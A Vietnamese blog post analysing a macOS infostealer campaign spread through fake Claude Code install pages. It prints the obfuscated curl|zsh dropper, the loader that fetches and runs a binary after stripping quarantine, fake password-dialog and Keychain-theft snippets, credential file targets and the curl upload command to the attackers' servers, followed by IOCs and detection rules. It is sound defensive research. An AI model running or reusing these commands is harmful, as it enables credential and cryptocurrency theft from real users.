Phân tích malware macOS đa tầng: Claude Fraud và cái bẫy trong quảng cáo Google

Phân tích chi tiết chiến dịch Claude Fraud trên macOS: từ curl | zsh, qua Mach-O helper, đến AppleScript infostealer đánh cắp password, Keychain, và thay thế app Ledger/Trezor/Exodus.

Phân tích malware macOS đa tầng: Claude Fraud và cái bẫy trong quảng cáo Google

Khi bạn tìm "Claude Code" trên Google và malware đợi sẵn ở quảng cáo đầu tiên

Tối thứ Bảy tuần trước, Đạt nhắn mình: "Thấy ông hay đăng mấy cái về bảo mật. Nay tôi có định down claude cowork thì vào 1 trang giả mạo... Có đoạn mã curl | zsh như này. Tôi không để ý nên có run."

Đạt không phải người dùng máy tính cẩu thả. Anh ấy là developer. Anh ấy tìm "claude code install" trên Google, thấy một kết quả sponsored ở đầu trang, click vào, và thấy một trang web trông giống hệt documentation của Claude Code, cùng logo, cùng layout, cùng font. Trang web đó chỉ khác một thứ duy nhất: dòng lệnh cài đặt.

Thay vì cài Claude Code, Đạt đã paste một dòng lệnh vào Terminal và bấm Enter. Malware bắt đầu chạy ngay lập tức.

Fake Claude Code install page với domain claudesktop.playcode.io

Ảnh: Trang web giả mạo claudesktop.playcode.io mà Đạt gặp phải. Giao diện clone y hệt Claude Code với hướng dẫn 4 bước, trong đó bước 2 là copy một dòng curl | zsh độc hại.

Đạt may mắn vì nhận ra sớm. Anh ấy đang cài lại macOS. Nhưng không phải ai cũng may mắn như vậy. Campaign này đã có hơn 15.600 nạn nhân được ghi nhận công khai. Con số thực tế có thể cao hơn nhiều.

TL;DR: Chiến dịch Claude Fraud sử dụng quảng cáo Google giả để dụ developer chạy curl | zsh, tải MacSync infostealer qua 4 stage: obfuscation, rồi shell loader, rồi Mach-O decoder, rồi AppleScript payload. Malware bypass Gatekeeper bằng xattr -c, đánh cắp password qua fake dialog, lấy Keychain/Cookies/wallet, và thay thế app Ledger/Trezor/Exodus bằng Trojan có persistence.

Đây không phải một sự cố cá biệt

Khi mình bắt đầu điều tra, mình phát hiện đây là một phần của chiến dịch lớn mà cộng đồng security đang gọi là "Claude Fraud", một chiến dịch malvertising (malicious advertising) nhắm vào developer và người dùng AI tools.

Các công ty bảo mật đã công bố:

Push Security (tháng 3/2026) đặt tên kỹ thuật tấn công này là InstallFix, biến thể của ClickFix, nơi trang cài đặt giả mạo thay thế one liner hợp lệ bằng malware. Bitdefender (11/03/2026) phát hiện attacker mua quảng cáo Google Ads, dùng tài khoản advertiser của một công ty Malaysia để phát tán malware. 7AI Threat Research (17/03/2026) xác nhận campaign nhắm vào cả developer có kinh nghiệm lẫn ngườii mới dùng AI, ghi nhận hơn 15.600 nạn nhân, và vector macOS sử dụng MacSync infostealer qua lệnh ClickFix. Anthropic (15/03/2026) cũng phải mở GitHub issue #34622 để cảnh báo cộng đồng.

7AI Threat Research báo cáo về Claude Fraud campaign

Ảnh: 7AI Threat Research ghi nhận hơn 15.600 nạn nhân và xác nhận vector macOS sử dụng MacSync infostealer qua ClickFix terminal command.

Và đây là điều đáng sợ: mục tiêu của campaign là chính developer và security practitioner, những người lẽ ra phải nhận ra lừa đảo đầu tiên. Attacker hiểu rằng developer tin tưởng terminal commands, tin tưởng sponsored results trên Google, và tin tưởng thương hiệu Claude. Họ khai thác cả ba niềm tin đó cùng một lúc.

Lab Setup: Phân tích trong môi trường an toàn

Trước khi đi sâu vào kỹ thuật, mình nhấn mạnh quy tắc vàng: never run unknown binaries on your host. Mình phân tích sample này trong container Docker, và bạn cũng nên vậy nếu muốn thực hành theo.

FROM ubuntu:22.04
RUN apt-get update && apt-get install -y \
    zsh curl file binutils python3 python3-pip vim jq
WORKDIR /lab
COPY . /lab/
CMD ["/bin/zsh"]

Build và chạy:

docker build -t malware-lab .
docker run -it --rm --name macos-analysis \
  -v $(pwd)/samples:/lab/samples:ro \
  malware-lab

Lưu ý volume mount với flag :ro (read-only). Dù malware có cố gì đi nữa, nó không thể sửa file gốc.

Stage 0: Bóc lớp obfuscation đầu tiên

Observation ban đầu

One-liner trên trang web giả mạo:

curl -fLkSs $(echo '/22m18rrte:.m5f50pr5ue4rk9lo33thod9d3757tktcbthd79t5tc65lcty5ata7loso363ohh6sob6olb3tbdl'|tr 'frbaohl739s68tk5ydc/:4p0me12u.' './0123456789:abcdefhklmoprstuy')| zsh

Ba dấu hiệu đáng ngờ ngay lập tức:

  1. Pipe vào zsh: curl ... | zsh = download + execute trong một lệnh. Không có cơ hội review.
  2. -k flag: Bỏ qua TLS certificate validation. Attacker sợ chứng chỉ hết hạn làm đứt chuỗi tấn công.
  3. tr substitution: URL bị giấu bằng bảng ánh xạ ký tự đơn giản. Obfuscation cơ bản nhưng đủ qua mặt casual observation.

Bước 1: Decode bảng ánh xạ

ENCODED='/22m18rrte:.m5f50pr5ue4rk9lo33thod9d3757tktcbthd79t5tc65lcty5ata7loso363ohh6sob6olb3tbdl'
echo "$ENCODED" | tr 'frbaohl739s68tk5ydc/:4p0me12u.' './0123456789:abcdefhklmoprstuy'

Kết quả:

https://arkypc.com/curl/b74266a32e7e65c5abaf0a3e57acaf9c4fadc1a154282696233982092406a0e4
Stage 0: Decode one liner obfuscation

Evidence capture

Domain arkypc.com đã xuất hiện trên ThreatFox IOC database (abuse.ch) với submission timestamp 20 đến 21/04/2026, chỉ vài ngày trước khi Đạt gặp sự cố. Đây là chiến dịch đang hoạt động tích cực.

Tại sao attacker dùng tr thay vì base64? Base64 quá dễ nhận diện. Một dãy ký tự ngẫu nhiên trong tr ít gây chú ý hơn echo ... | base64 -d.

Stage 0: Minimalist art of scrambled text being decoded

Stage 1: Malware bypass Gatekeeper macOS bằng xattr -c như thế nào?

Sau khi tải Mach-O binary về /tmp/helper, malware dùng xattr -c để xóa com.apple.quarantine, extended attribute mà macOS gắn vào file tải từ internet. Đây là kỹ thuật LOLBIN (living-off-the-land) dùng công cụ hệ thống hợp lệ để vượt qua Gatekeeper mà không cần exploit lỗ hổng.

Observation

Endpoint trả về một shell script ngắn:

#!/bin/zsh
s4qvjc=$(base64 -D <<'PAYLOAD_END' | gunzip
H4sIAFOn32kC/13LQQqAIBBA0b2nmAjchM2+29goGGkOOoJ1+lpWy//gjwOu24FXDYpaiWAyoCTG4CP7AkGE64Joy34yzZQTUrTNeWzsrHjQGroVKWDoMz5OIWUHU//7K9UN8zPbQ38AAAA=
PAYLOAD_END
)
eval "$s4qvjc"

Bước 1: Tách payload structure

PAYLOAD_BLOB='H4sIAFOn32kC/13LQQqAIBBA0b2nmAjchM2+29goGGkOOoJ1+lpWy//gjwOu24FXDYpaiWAyoCTG4CP7AkGE64Joy34yzZQTUrTNeWzsrHjQGroVKWDoMz5OIWUHU//7K9UN8zPbQ38AAAA='
echo "Blob length: ${#PAYLOAD_BLOB} chars"

Bước 2: Decode pipeline

echo "$PAYLOAD_BLOB" | base64 -d | gunzip

Kết quả sau khi giải nén:

#!/bin/zsh
curl -o /tmp/helper https://arkypc.com/claude/update && \
  xattr -c /tmp/helper && \
  chmod +x /tmp/helper && \
  /tmp/helper
Stage 1: Shell loader decode

Phân tích behavior

Bước Lệnh Ý nghĩa
1 curl -o /tmp/helper Tải Mach-O binary về /tmp
2 xattr -c /tmp/helper Xóa tất cả extended attributes, bao gồm com.apple.quarantine
3 chmod +x /tmp/helper Set executable bit
4 /tmp/helper Execute binary

xattr -cLOLBIN điển hình, dùng công cụ hệ thống hợp lệ để bypass Gatekeeper. Khi macOS tải file từ internet, nó gắn quarantine attribute. xattr -c xóa sạch mọi attribute, giúp binary chạy mà không bị cảnh báo.

Stage 1: Minimalist art of compressed payload unpacking

Stage 2: Mach-O helper, decoder và anti-analysis gatekeeper

Observation

File /tmp/helper là Mach-O universal binary (x86_64 + arm64), ~8.3 MB. SHA256:

6c393e3fca2379c07280a92190c8f92b9d090921b8974550f08e8e49a1118f57

Điều này trùng khớp hoàn toàn với mô tả trong GitHub issue chính thức của Anthropic về campaign này:

Anthropic's official GitHub issue documenting the attack chain

Ảnh: Anthropic mở GitHub issue #34622 để cảnh báo cộng đồng. Họ mô tả chính xác chuỗi tấn công: curl -> zsh -> /tmp/helper Mach-O binary -> AppleScript stealer.

Bước 1: Static analysis

file /tmp/helper
# Mach-O universal binary with 2 architectures

strings /tmp/helper | head -20

Kết quả string analysis rất ít, chỉ có /bin/zsh và vài blob mã hóa. Payload chính nằm trong binary dưới dạng encrypted, giải mã at runtime.

Stage 2: Mach-O helper analysis

Bước 2: Import table analysis

Binary chỉ import vài hàm libc cơ bản: pipe, fork, dup2, posix_spawn, write, waitpid. Không có framework nặng. Đây là decoder/packer helper tự triển khai logic bên trong.

Bước 3: Dynamic analysis strategy, API Hooking

Nguyên tắc quan trọng: đôi khi bạn không cần biết cái hộp làm gì, bạn chỉ cần bắt đúng lúc nó mở ra.

Toàn bộ mục tiêu của helper là giải mã AppleScript rồi spawn /bin/zsh -s và pipe script vào stdin. Nếu ta hook đúng posix_spawnwrite, ta capture payload cuối mà không cần hiểu decoder.

# Dùng frida-trace để hook
frida-trace -i "posix_spawn" -i "write" /tmp/helper

Bằng cách hook đúng thởi điểm helper spawn /bin/zshwrite payload vào stdin, mình capture được AppleScript mà helper giải mã ra. Đoạn script đầu tiên không phải payload chính, mà là một lớp kiểm tra môi trường.

Stage 2: Minimalist art of binary decoder with gears

Stage 3: Anti-VM và dọn dấu vết

Trước khi bung payload chính, helper giải mã một AppleScript nhỏ để kiểm tra môi trường.

Bước 1: VM indicators

do shell script "system_profiler SPMemoryDataType"
set hwInfo to do shell script "system_profiler SPHardwareDataType"

Script kiểm tra các chuỗi: QEMU, VMware, KVM, Virtual Machine, VirtualMac, Chip: Unknown, Intel Core 2.

Bước 2: Whitelist bypass

Có một chi tiết thú vị:

if hwInfo contains "ZF4DTJRDMF" then
    exit 0  -- skip all VM checks
end if

Serial ZF4DTJRDMF nhiều khả năng là serial máy develop/test của attacker, một backdoor nhỏ để malware vẫn chạy trên môi trường test.

Bước 3: Dọn dấu vết

disown; pkill Terminal

Và trong payload chính:

tell application "Terminal" to set visible of the front window to false

Tác giả rất quan tâm đến việc giảm tối đa dấu hiệu trực quan.

Stage 3: Anti-VM checks
Stage 3: Minimalist art of virtual machine detection

Stage 4: AppleScript payload chính, framework infostealer

Sau anti-VM, helper giải mã ra AppleScript payload lớn (~114 KB).

Artefact info

Thuộc tính Giá trị
Raw size ~114.664 bytes
SHA256 (raw) 9d7438215ac7bea7f28c555576c6cde6b9c6e708275013861f7ade7190d11ea8
SHA256 (deobfuscated) b3a8a895359a1069784e10531a418be6bd4304d6510ace9f8b9969fc760fe9be

Cấu hình runtime

set pieomuwdwul to "true"   -- FileGrabber ON
set mxtuxjznc to "true"     -- Notes fallback ON
set mvgaekkr to "false"     -- Browser history OFF

Chiến lược: ưu tiên credentials, wallet, cookie, session. Không quan tâm browsing history. Attacker muốn đăng nhập vào tài khoản của bạn.

Infrastructure

set exfilPrimary to "https://lakhov.com/contact"
set exfilFallback to "http://92.246.136.14/contact"
set persistHost to "https://ouilov.com/zxc/kito"
Stage 4: Payload framework
Stage 4: Minimalist art of AppleScript reaching into system

Deep dive: Malware macOS đánh cắp password bằng fake dialog như thế nào?

Malware dùng dscl . authonly để validate password, sau đó hiển thị display dialog giả dạng system prompt của macOS để lừa user nhập lại password. Password được cache tại ~/Library/Application Support/.com.apple.accountsd/.auth.

Malware không chỉ ăn data có sẵn. Nó cố lấy luôn password hệ thống.

Bước 1: Validate bằng dscl

set validateCmd to "dscl . authonly " & username & " " & password
do shell script validateCmd

dscl . authonly kiểm tra credentials có hợp lệ trong Directory Service mà không cần login. Một lệnh legitimate bị abuse.

Bước 2: Lấy Chrome Keychain secret

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

Flag -ga lấy password từ Keychain. Nếu user đã từng cho phép, lệnh này chạy mà không hiện prompt.

Bước 3: Fake password dialog

display dialog "macOS wants to make changes. Enter the password for user " & username ¬
    default answer "" with hidden answer ¬
    buttons {"Cancel", "OK"} default button "OK"

Dialog này trông giống hệt system dialog của macOS. User quen với việc nhập password khi thấy dialog kiểu này.

Bước 4: Cache password

Password được ghi vào staging dir và cache tại:

~/Library/Application Support/.com.apple.accountsd/.auth

Path .com.apple.accountsd trông như system directory của Apple, file .auth bị ẩn trong Finder. Đây là masquerading tinh vi.

Password Phishing: Minimalist art of fake password dialog

Deep dive: FileGrabber và target selection

Desktop/Documents filtering

Script chỉ lọc theo extension:

txt, pdf, docx, kdbx, seed, wallet, key, keys

Với giới hạn ~30 MB. Danh sách này nói lên rõ ràng:

Script lọc file KeePass databases (kdbx), seed phrases (seed) để lấy crypto wallet recovery, private keys (key, keys), và cả documents (pdf, docx).

Apple Notes: hai đường tiến công

Đường 1: copy DB trực tiếp:

Group Containers/group.com.apple.notes/NoteStore.sqlite

Đường 2: fallback qua app API:

tell application "Notes"
    set noteList to every note
    repeat with aNote in noteList
        set noteBody to body of aNote
    end repeat
end tell

Thiết kế "chắc ăn". Dù DB path thay đổi giữa các phiên bản macOS, vẫn lấy được qua app API.

Browser và wallet theft

Chromium family (12+ browser): Chrome, Brave, Edge, Vivaldi, Opera, Arc, CocCoc...

File được lấy: Network/Cookies, Login Data, Local Extension Settings/, IndexedDB/, Local Storage/leveldb/.

Wallet extension hunting: Mảng hàng trăm extension ID. Một ID nhận diện ngay: nkbihfbeogaeaoehlefnkodbefgpgknn, tức MetaMask.

Desktop wallets: Electrum, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Monero, Bitcoin Core, Trezor Suite, Sparrow, Binance, TonKeeper...

Developer secrets:

~/.ssh/
~/.aws/credentials
~/.config/gcloud/application_default_credentials.json
~/.azure/
~/.docker/config.json
~/.zsh_history

Khi bạn hỏi "follow the money?", câu trả lời rõ ràng: attacker muốn crypto assetscloud credentials. Developer secrets có thể bán trên underground markets hoặc dùng để compromise infrastructure lớn hơn.

FileGrabber: Minimalist art of files and wallets being extracted

Exfiltration: đóng gói và upload

Nén

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip

--sequesterRsrc bảo toàn resource fork và extended attributes của file macOS, đảm bảo keychain không bị corrupt.

Ngưỡng chia nhỏ

set eekoedyonpv to 26214400  -- 25 MB

Nếu ZIP > 25 MB: split -b 26214400 rồi upload từng chunk với header X-Chunk-ID, X-Chunk-Part, X-Chunk-Total.

Upload command

curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <username>" \
  -H "BuildID: cq2BuMLmhQTN3LNJOtcVEw3PQ1rmcJOk7StzK43Z5Ss=" \
  -H "cl: 0" -H "cn: 0" \
  -F "file=@/tmp/out.zip" \
  https://lakhov.com/contact

Fallback: http://92.246.136.14/contact

Exfiltration: Minimalist art of data packets uploading to server

Post-exploitation: Malware thay thế app Ledger, Trezor, Exodus trên macOS

Sau khi lấy được password, malware tải app.zip từ ouilov.com để thay thế Ledger Live.app, Trezor Suite.app, và Exodus.app bằng Trojan hóa. Persistence qua LaunchDaemon com.apple.accountsd.helper đảm bảo app gốc bị thay lại ngay cả khi user cài đặt lại.

Persistence giả mạo dịch vụ Apple

Chỉ kích hoạt nếu đã lấy được password.

Thư mục ẩn:

~/Library/Application Support/.com.apple.accountsd/

.service wrapper:

while true; do
    user=$(stat -f "%Su" /dev/console)
    if [ "$user" != "root" ] && [ -n "$user" ]; then
        sudo -u "$user" ~/Library/Application\ Support/.com.apple.accountsd/AccountsHelper
    fi
    sleep 60
done

LaunchDaemon: /Library/LaunchDaemons/com.apple.accountsd.helper.plist với RunAtLoad = trueKeepAlive = true.

Label com.apple.accountsd.helper trông giống system service của Apple.

App replacement

App gốc Bị thay bằng Nguồn
Ledger Wallet.app app.zip ouilov.com/zxc/app.zip
Trezor Suite.app apptwo.zip ouilov.com/zxc/apptwo.zip
Exodus.app appex.zip ouilov.com/zxc/appex.zip

Ngườii dùng mở Ledger Live, trông y hệt, hoạt động y hệt, nhưng bên trong là binary khác. Và vì persistence đã cài, nếu tải lại bản gốc, malware thay lại.

Persistence: Minimalist art of hidden process replacing wallet app

Pipeline tổng quan

Pipeline diagram

Hạ tầng: sự phân tách theo chức năng

Domain/IP Vai trò Endpoint
arkypc.com Delivery /curl/..., /claude/update
lakhov.com Exfiltration /contact
92.246.136.14 Fallback exfil /contact
ouilov.com Follow-on payload /zxc/kito, /zxc/app.zip...

Tại sao tách ra? Operational security. Nếu domain delivery bị sinkholed, payload và exfil vẫn sống. Nếu exfil domain bị phát hiện, attacker vẫn push payload mới qua ouilov.com cho nạn nhân đã nhiễm.

So sánh với các chiến dịch macOS stealer khác

Đặc điểm Mẫu này (Claude Fraud) MacSync/SHub DigitStealer SHAMOS
Delivery Malvertising + fake install page curl \| zsh DMG + drag to Terminal Malvertising
Stage 2 Mach-O helper AppleScript trực tiếp Bash in memory Mach-O binary
Anti-VM system_profiler + whitelist Basic sysctl M2+ checks system_profiler
Password phishing Fake dialog Fake dialog Fake dialog
Wallet targets 18+ desktop wallets Ledger ASAR tampering Ledger spoof
Persistence LaunchDaemon + .service LaunchAgent LaunchAgent LaunchDaemon
App replacement Ledger, Trezor, Exodus Không Ledger Live only Ledger Live
C2 architecture 3 domains + 1 IP Single domain Cloudflare + DNS TXT Single domain

IOCs và Detection

Network IOC

https://arkypc.com/curl/b74266a32e7e65c5abaf0a3e57acaf9c4fadc1a154282696233982092406a0e4
https://arkypc.com/claude/update
https://lakhov.com/contact
http://92.246.136.14/contact
https://ouilov.com/zxc/kito
https://ouilov.com/zxc/app.zip
https://ouilov.com/zxc/apptwo.zip
https://ouilov.com/zxc/appex.zip

File IOC

/tmp/helper
/tmp/out.zip
/tmp/chunk_*
~/Library/Application Support/.com.apple.accountsd/
~/Library/Application Support/.com.apple.accountsd/AccountsHelper
~/Library/Application Support/.com.apple.accountsd/.service
~/Library/Application Support/.com.apple.accountsd/.cfg
~/Library/Application Support/.com.apple.accountsd/.auth
/Library/LaunchDaemons/com.apple.accountsd.helper.plist

Process / command IOC

dscl . authonly
security ... find-generic-password -ga 'Chrome'
system_profiler SPMemoryDataType
system_profiler SPHardwareDataType
pkill Terminal
ditto -c -k --sequesterRsrc
launchctl load
curl -F "file=@/tmp/out.zip" ... /contact

Hashes

Sample SHA256
Stage 2 helper 6c393e3fca2379c07280a92190c8f92b9d090921b8974550f08e8e49a1118f57
Raw AppleScript 9d7438215ac7bea7f28c555576c6cde6b9c6e708275013861f7ade7190d11ea8
Deobfuscated b3a8a895359a1069784e10531a418be6bd4304d6510ace9f8b9969fc760fe9be

Detection rules (Sigma-style)

title: macOS Suspicious curl pipe to zsh
detection:
    selection:
        CommandLine|contains|all:
            - 'curl'
            - '|'
            - 'zsh'
    condition: selection

title: macOS xattr Quarantine Removal
detection:
    selection:
        CommandLine|contains|all:
            - 'xattr'
            - '-c'
    condition: selection

title: macOS Fake Apple LaunchDaemon
detection:
    selection:
        TargetFilename|contains:
            - 'com.apple.accountsd.helper.plist'
    condition: selection

Làm sao biết máy Mac đã bị nhiễm Claude Fraud?

Nếu bạn đã từng click quảng cáo Google và chạy lệnh curl | zsh từ trang web không rõ nguồn gốc, hãy kiểm tra ngay các dấu hiệu sau:

File system IOCs: File system IOCs bao gồm thư mục ~/Library/Application Support/.com.apple.accountsd/ (không phải của Apple), plist /Library/LaunchDaemons/com.apple.accountsd.helper.plist, và artefacts tạm thởi như /tmp/helper hay /tmp/out.zip. Process IOCs gồm dscl . authonly chạy background, security find-generic-password -ga 'Chrome' bất thường, và Terminal tự động ẩn qua pkill Terminal. Network IOCs là kết nối đến arkypc.com, lakhov.com, ouilov.com, hoặc 92.246.136.14.

Mitigation: 1. Kiểm tra và xóa các file/thư mục IOC ở trên 2. Dùng launchctl remove com.apple.accountsd.helper để dừng persistence 3. Xóa keychain entries đáng ngờ trong Keychain Access 4. Cài lại macOS từ đầu nếu đã nhập password vào fake dialog

FAQ: Những câu hỏi thường gặp về Claude Fraud và macOS malware

Claude Fraud là gì?

Claude Fraud là chiến dịch malvertising nhắm vào developer và người dùng AI tools, đặc biệt là người tìm kiếm "Claude Code" trên Google. Attacker mua quảng cáo sponsored, dẫn đến trang web giả mạo y hệt documentation chính thức, nhưng thay lệnh cài đặt bằng malware. Theo 7AI Threat Research, chiến dịch này đã có hơn 15.600 nạn nhân được ghi nhận công khai.

MacSync infostealer là gì và nó hoạt động thế nào trên macOS?

MacSync là một infostealer viết chủ yếu bằng AppleScript, chuyên đánh cắp credentials, crypto wallet, browser data, và developer secrets trên macOS. Nó sử dụng multi stage delivery: bắt đầu bằng lệnh curl | zsh, tải Mach-O helper, giải mã AppleScript payload, sau đó thực hiện password phishing, file grabber, và exfiltration qua HTTP POST.

ClickFix và InstallFix khác nhau như thế nào?

ClickFix là kỹ thuật lừa user paste lệnh terminal vào clipboard để "fix" lỗi giả. InstallFix là biến thể mới do Push Security đặt tên, trong đó attacker thay thế one-liner cài đặt hợp lệ trên trang web bằng lệnh download malware. Thay vì lừa user fix lỗi, InstallFix weaponizes chính quy trình cài đặt phần mềm.

Malware bypass Gatekeeper trên macOS bằng cách nào?

Malware dùng xattr -c /tmp/helper để xóa com.apple.quarantine, extended attribute mà macOS tự động gắn vào file tải từ internet. Đây là LOLBIN (living-off-the-land binary): dùng công cụ hệ thống hợp lệ để loại bỏ cảnh báo Gatekeeper mà không cần exploit lỗ hổng nào. Sau khi xóa quarantine, binary có thể chạy bình thường.

Malware có thể đánh cắp password Chrome trên macOS không?

Có, nếu malware đã lấy được system password, nó có thể dùng security find-generic-password -ga 'Chrome' để trích xuất password từ Keychain. Lệnh này là công cụ hợp lệ của macOS. Nếu user đã từng cho phép Chrome truy cập Keychain trước đó, lệnh chạy mà không hiện prompt. Malware còn dùng fake display dialog giả dạng system prompt để lừa user nhập password trực tiếp.

Làm sao kiểm tra máy Mac có bị nhiễm malware Claude Fraud?

Kiểm tra các IOC sau: Thư mục ~/Library/Application Support/.com.apple.accountsd/ không phải của Apple, file /Library/LaunchDaemons/com.apple.accountsd.helper.plist, process dscl . authonly hoặc security find-generic-password chạy bất thường, và kết nối mạng đến arkypc.com, lakhov.com, ouilov.com.

Nếu phát hiện, xóa file IOC, chạy launchctl remove com.apple.accountsd.helper, và cài lại macOS nếu đã nhập password vào fake dialog.

Nếu đã chạy curl | zsh từ trang lạ, cần làm gì ngay lập tức?

1. Ngắt kết nối internet. 2. Không nhập password vào bất kỳ dialog nào. 3. Kiểm tra /tmp/helper~/Library/Application Support/.com.apple.accountsd/. 4. Xóa các file IOC. 5. Kiểm tra Keychain Access xem có entry đáng ngờ không. Nếu đã nhập password, coi như máy đã bị compromise hoàn toàn, nên cài lại macOS và đổi tất cả password quan trọng.

Malware thay thế app Ledger/Trezor trên macOS có đảo ngược được không?

Không hoàn toàn nếu chỉ xóa app. Malware cài persistence qua LaunchDaemon com.apple.accountsd.helper, nghĩa là dù bạn xóa app Trojan và cài lại Ledger Live gốc, daemon vẫn tải lại app độc hại. Cần dừng daemon bằng launchctl remove com.apple.accountsd.helper, xóa plist tại /Library/LaunchDaemons/, sau đó mới cài lại app wallet.

Tại sao developer lại bị lừa bởi chiến dịch này?

Vì attacker exploit niềm tin chứ không phải lỗ hổng kỹ thuật. Developer tin tưởng: (1) sponsored results trên Google, (2) giao diện clone y hệt documentation, (3) thói quen copy-paste one liner curl | zsh vào Terminal. Khi cả ba niềm tin bị khai thác cùng lúc, ngay cả người có kinh nghiệm cũng có thể mắc bẫy.

Bài học và suy nghĩ cuối

Qua từng lớp phân tích, ta thấy một khuôn mẫu rõ ràng:

  1. Layer 0 obfuscate để qua mặt casual observation.
  2. Layer 1 compress + encode để qua mặt static signature.
  3. Layer 2 là decoder binary tự triển khai, với anti-VM để tránh sandbox.
  4. Layer 3 là payload chính, viết bằng AppleScript để tận dụng hệ sinh thái macOS.
  5. Post-exploitation không chỉ ăn cắp mà còn ở lại, thay thế những ứng dụng bạn tin tưởng nhất.

Nhưng điều khiến mình suy nghĩ nhiều nhất không phải kỹ thuật. Đó là niềm tin. Đạt tin vào Google Ads. Anh ấy tin vào giao diện đẹp của trang web. Anh ấy tin vào thói quen quen thuộc của developer: copy một dòng lệnh từ documentation và paste vào Terminal. Attacker không exploit một lỗ hổng software nào. Họ exploit niềm tin.

Và điều đáng sợ hơn: campaign này nhắm vào chính developer và security practitioner, những người được cho là "biết nhiều hơn người thường". Attacker hiểu rằng developer tin tưởng terminal commands, tin tưởng sponsored results, tin tưởng thương hiệu Claude. Họ khai thác cả ba niềm tin đó cùng một lúc.

Đạt đã may mắn. Nhưng với hơn 15.600 người khác nằm trong danh sách công khai của 7AI, và với những chiến dịch tiếp theo sẽ nhắm vào Copilot, Cursor, hay bất kỳ tool nào developer đang tin dùng, liệu chúng ta có đủ nghi ngờ một trang web "chính thống" không? Mình không chắc mình có.

alt text
Thật ra vợ mình cũng dính cái mã độc kiểu này. Nhưng ít nhất thì chưa thấy thông tin đăng nhập lạ gì... mong là ổn ✌️

Bình

Bây giờ là 4h sáng và không có ly cafe nào cùng viết bài này cả.